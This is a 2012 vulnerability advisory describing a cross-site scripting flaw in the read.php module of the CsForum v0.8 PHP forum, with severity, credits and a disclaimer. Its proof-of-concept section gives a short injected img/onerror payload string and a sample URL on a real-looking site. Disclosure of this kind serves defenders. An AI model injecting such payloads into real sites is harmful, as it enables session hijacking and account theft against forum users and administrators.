CsForum v0.8 - Cross Site Scripting Vulnerability



Title:
======
CsForum v0.8 - Cross Site Scripting Vulnerability


Date:
=====
2012-04-05


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=496


VL-ID:
=====
496


Introduction:
=============
Forum very simple installation, this script is very light and yet it has several functionalities such as marking of read messages
display tree with sending mail in case of response. It is also very easy to integrate in your site thanks to the insertion of pages
of your choice before and after the forum header.php and footer.php

(Copy of the Vendor Homepage: http://www.comscripts.com/scripts/php.cs-forum.643.html )


Abstract:
=========
A Vulnerability Laboratory Researcher discovered a Cross Site Scripting Vulnerability on CsForum v0.8 application.


Report-Timeline:
================
2012-04-08: Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Low


Details:
========
A client side cross site scripting vulnerability is detected on the CsForum v0.8 application.
The vulnerability allows an attacker with privileged user account to hijack customer/moderator/admin sessions with high required user inter
action. Successful exploitation can result in account steal or client side context manipulation when processing affected module
application requests.

Vulnerable Module(s):
[+] read.php

Picture(s):
../1.png


Proof of Concept:
=================
The vulnerability can be exploited by remote attacker with medium required user inter action. For demonstration or reproduce ...

String : "><img src="tester1337.png" onerror=alert("CROSS-SITE-SCRIPTING2") />

.Proof :
<img src="tester1337.png" onerror=alert("cross-site-scripting2") />" title="Site de l'auteur">

Example : http://alain.lc.free.fr/csforum8/read.php?id=527&debut=8


Risk:
=====
The security risk of the client side cross site scripting vulnerability is estimated as low.


Credits:
========
Vulnerability Research Laboratory - Chokri B.A. (Me!ster)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.

Copyright © 2012 Vulnerability-Lab

--
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research@xxxxxxxxxxxxxxxxxxxxx



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